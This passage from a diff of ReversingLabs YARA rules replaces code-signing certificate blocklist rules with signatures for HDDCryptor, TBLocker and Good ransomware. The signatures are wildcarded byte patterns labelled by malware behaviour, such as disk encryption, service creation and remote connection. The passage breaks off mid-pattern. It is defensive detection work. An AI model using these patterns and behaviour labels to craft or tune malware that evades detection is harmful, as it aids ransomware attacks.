-rule REVERSINGLABS_Cert_Blocklist_7Be35D025E65Cc7A4Ee01F72 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Hddcryptor : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects HDDCryptor ransomware." author = "ReversingLabs" - id = "533bcad1-b589-5a05-8f35-32fcb79c7f68" - date = "2020-08-05" - modified = "2023-11-08" + id = "2c6a8ca3-0f7a-52b7-af6d-74fa9407feca" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4308-L4324" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HDDCryptor.yara#L1-L157" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dad7ab834a67d36c0b63e45922aea566dc0aaf922be2b74161616b3caea83fdc" + logic_hash = "47915f315bb4956507362f56024f5632cb1bcec569ceaf77fe9d7cb9c25d1d8a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "HDDCryptor" + tc_detection_factor = 5 importance = 25 + strings: + $deploy_components = { + B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 6A ?? 53 0F 85 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? + ?? ?? ?? BA ?? ?? ?? ?? 8B CB 8B F0 E8 ?? ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? + ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? + ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB + E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? + ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB 8B F0 E8 ?? + ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B + F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F8 6A ?? 0F + AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? + ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? + ?? 0F AF FE 8B CB E8 + } + $get_shares_info = { + E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? EB ?? FF 15 ?? ?? + ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 8D 44 24 ?? 50 C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + FF 15 + } + $encrypt_discs = { + 68 ?? ?? ?? ?? FF 74 24 ?? 0F 57 C0 66 0F 7F 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 33 C9 EB ?? 8D 49 ?? 0F B7 81 ?? ?? ?? ?? 66 89 84 0C ?? ?? ?? ?? 8D 49 ?? 66 + 85 C0 75 ?? 8D 8C 24 ?? ?? ?? ?? 83 C1 ?? 66 8B 41 ?? 8D 49 ?? 66 85 C0 75 ?? A1 ?? + ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 + ?? A1 ?? ?? ?? ?? 89 41 ?? 0F B7 05 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 66 89 41 + ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + D7 B9 ?? ?? ?? ?? E8 + } + $create_diskcryptor_service = { + 83 EC ?? 53 55 56 57 68 ?? ?? ?? ?? 33 ED 8B F2 55 55 8B F9 FF 15 ?? ?? ?? ?? 85 C0 + 74 ?? 55 55 55 55 55 FF 74 24 ?? 55 6A ?? 5B 53 6A ?? 68 ?? ?? ?? ?? 56 57 50 FF 15 + ?? ?? ?? ?? 8B F0 89 5C 24 ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 33 + C9 89 44 24 ?? 41 8D 44 24 ?? 89 4C 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 53 56 89 4C 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? FF 15 ?? ?? ?? ?? 8B C6 5F 5E 5D 5B 83 C4 ?? + C3 + } + $extract_diskcryptor_from_resources = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 8B B4 24 ?? ?? + ?? ?? 33 C0 57 50 89 54 24 ?? 8B E9 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B D8 56 + 0F B7 C9 51 53 FF 15 ?? ?? ?? ?? 8B F0 56 53 FF 15 ?? ?? ?? ?? 56 53 8B F8 FF 15 ?? + ?? ?? ?? 57 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B F0 E8 ?? ?? ?? ?? 59 FF 74 + 24 ?? 8B D8 56 53 E8 ?? ?? ?? ?? 8B 54 24 ?? 33 FF 83 C4 ?? 8B CF 85 D2 7E ?? 8A 04 + 19 3C ?? 7C ?? 3C ?? 7F ?? 04 ?? 3C ?? 76 ?? 2C ?? 88 04 19 41 3B CA 7C ?? 33 C0 68 + ?? ?? ?? ?? 66 89 44 24 ?? 8D 44 24 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F5 66 8B 45 + ?? 83 C5 ?? 66 3B C7 75 ?? 8D 7C 24 ?? 2B EE 83 EF ?? 33 C9 66 8B 47 ?? 83 C7 ?? 66 + 3B C1 75 ?? 8B CD C1 E9 ?? F3 A5 8B CD 83 E1 ?? F3 A4 8D 7C 24 ?? 83 EF ?? 33 ED 66 + 8B 47 ?? 8D 7F ?? 66 3B C5 75 ?? A1 ?? ?? ?? ?? 8B 54 24 ?? 8B F2 89 07 66 8B 02 83 + C2 ?? 66 3B C5 75 ?? 8D 7C 24 ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C5 75 ?? + 8B CA 8D 44 24 ?? C1 E9 ?? F3 A5 55 55 6A ?? 55 55 8B CA 83 E1 ?? 68 ?? ?? ?? ?? F3 + A4 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 55 8D 44 24 ?? 50 FF 74 24 ?? 53 56 FF + 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 33 C0 40 EB ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 + C0 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_files_using_diskcryptor_p1 = { + 55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? + ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ?? + ?? ?? 64 A3 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 83 7D ?? ?? 73 ?? B9 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 8B 75 ?? BA ?? ?? ?? ?? 8B 4E ?? 8A 01 41 88 02 42 84 C0 75 ?? 8B 4E ?? BA + ?? ?? ?? ?? 8A 01 41 88 02 42 84 C0 75 ?? 6A ?? 59 BE ?? ?? ?? ?? C7 05 ?? ?? ?? ?? + ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? + 33 F6 8D 84 24 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 89 B4 24 ?? ?? ?? ?? + 8D 4C 24 ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 7C 24 ?? ?? 8D 44 24 ?? 56 0F 43 44 24 ?? 56 6A ?? 56 56 68 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 33 DB C7 44 + } + $encrypt_files_using_diskcryptor_p2 = { + 24 ?? ?? ?? ?? ?? 50 89 5C 24 ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B D0 59 59 85 D2 + 75 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 59 8B D0 8D BC 24 ?? ?? ?? ?? 83 EF ?? 66 + 8B 47 ?? 8D 7F ?? 66 3B C3 75 ?? A1 ?? ?? ?? ?? 83 C2 ?? 89 07 8B F2 66 8B 02 83 C2 + ?? 66 3B C3 75 ?? 8D BC 24 ?? ?? ?? ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C3 + 75 ?? 8B CA 8D 84 24 ?? ?? ?? ?? C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 51 50 83 EC ?? + 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 84 + 24 ?? ?? ?? ?? ?? 83 7E ?? ?? 72 ?? 8B 36 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 8B D6 8B C8 + E8 ?? ?? ?? ?? 59 59 53 6A ?? 8D 4C 24 ?? 8B F0 E8 ?? ?? ?? ?? 53 6A ?? 8D 4C 24 ?? + C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 74 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B F3 EB ?? FF 15 ?? ?? ?? ?? 8B F0 53 6A ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? + 8B C6 EB ?? 53 6A ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 8B 8C 24 ?? ?? ?? ?? 64 89 0D + ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $reboot = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 EB ?? 8D 45 ?? 33 F6 50 68 ?? ?? ?? ?? 56 + FF 15 ?? ?? ?? ?? 56 56 56 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 FF 75 ?? C7 45 ?? ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 + ?? ?? ?? ?? F7 D8 1B C0 F7 D8 8B 4D ?? 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Logika OOO" and pe.signatures [ i ] . serial == "7b:e3:5d:02:5e:65:cc:7a:4e:e0:1f:72" and 1594976445 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( $deploy_components ) and ( $get_shares_info ) and ( $encrypt_discs ) ) or ( ( $extract_diskcryptor_from_resources ) and ( $create_diskcryptor_service ) and ( all of ( $encrypt_files_using_diskcryptor_p* ) ) and ( $reboot ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_351Fe2Efdc0Ac56A0C822Cf8 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Tblocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects TBLocker ransomware." author = "ReversingLabs" - id = "ac6b7c6d-781b-5c91-80fe-b822ee00ea7f" - date = "2020-08-05" - modified = "2023-11-08" + id = "91793018-baf6-5e70-83b6-8793482c3bec" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4326-L4342" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TBLocker.yara#L1-L85" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "46b87c3531e01ba150f056ec3270564426363ef8c58256eeedbcab247c7625e4" + logic_hash = "81f0077655ac0e59cd8dc05be602ae500c938668bd57d3cf4a51fbff2a5b6b83" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "TBLocker" + tc_detection_factor = 5 importance = 25 + strings: + $main_ransomware_function_p1 = { + 00 02 16 28 ?? ?? ?? ?? 00 02 17 28 ?? ?? ?? ?? 00 02 16 28 ?? ?? ?? ?? 00 02 16 28 ?? ?? ?? ?? 00 02 + 16 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 16 FE ?? 0A 06 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 72 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 16 15 28 ?? ?? ?? ?? 26 00 00 28 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 16 FE ?? 0B 07 39 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 0C 08 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 00 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 00 DE ?? 25 + 28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 17 28 ?? ?? ?? ?? + 00 02 18 28 ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? + 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 + } + $main_ransomware_function_p2 = { + 28 ?? ?? ?? ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? + ?? 5B 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 + ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? + ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? + ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? + ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F ?? DA 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? + ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? ?? B7 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 23 ?? ?? ?? ?? ?? + ?? ?? ?? 5A 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F + } + $search_files = { + 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 38 ?? ?? ?? ?? 06 6F ?? ?? ?? + ?? 0B 07 07 6F ?? ?? ?? ?? 17 DA 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 16 FE + ?? 0C 08 2C ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 0D 09 2C ?? 00 02 07 07 72 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 07 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? + ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 16 14 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? DE ?? 00 00 00 00 00 00 06 6F + ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? + 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? + 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 11 ?? 6F ?? + ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 17 DA 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? + ?? ?? ?? 16 FE ?? 13 ?? 11 ?? 2C ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 13 ?? + 11 ?? 2C ?? 00 02 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 11 ?? + 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 16 14 28 ?? ?? ?? ?? 26 28 ?? + ?? ?? ?? DE ?? 00 00 00 00 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 + ?? 6F ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 17 D6 13 ?? + 11 ?? 11 ?? 8E 69 FE ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? 2A + } + $encrypt_files = { + 00 00 03 19 17 73 ?? ?? ?? ?? 0A 04 18 18 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 08 28 ?? ?? ?? ?? 05 6F + ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 28 ?? ?? ?? ?? 05 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? + 0D 07 09 17 73 ?? ?? ?? ?? 13 ?? 06 6F ?? ?? ?? ?? 17 6A DA B7 17 D6 8D ?? ?? ?? ?? 13 ?? 06 11 ?? 16 + 11 ?? 8E 69 6F ?? ?? ?? ?? 26 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 07 + 6F ?? ?? ?? ?? 00 06 6F ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Logika OOO" and pe.signatures [ i ] . serial == "35:1f:e2:ef:dc:0a:c5:6a:0c:82:2c:f8" and 1594976475 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( all of ( $main_ransomware_function_p* ) ) and $search_files and $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_9Cfbb4C69008821Aaacecde97Ee149Ab : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Good : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Good ransomware." author = "ReversingLabs" - id = "a8ba633b-fbbe-51ca-9f67-fb91ce9ac2f7" - date = "2020-08-05" - modified = "2023-11-08" + id = "e0f97200-7fe9-5811-b6cd-708ecc3a2fbc" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4344-L4362" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Good.yara#L1-L82" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d74b13eeb5d0a57c5dd3257480230c504a68a8422e77a46bb2e101abb2c7f282" + logic_hash = "6737853a77a6008f9fd2141bb6b13d595f1cb7e832be944596f709e1fcdf8003" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Good" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D + 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E + 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 + C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8B 3D ?? ?? ?? + ?? 33 C0 66 89 45 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? + ?? ?? ?? ?? FF D7 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 8B D8 83 FB ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 5F 5E 5B 8B E5 5D C3 + } + $remote_connection = { + 55 8B EC 53 8B 5D ?? 57 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8B 0F 8B + C1 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4F ?? 83 C4 ?? 8B C1 83 E8 ?? 74 ?? 83 + E8 ?? 74 ?? 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? + ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? 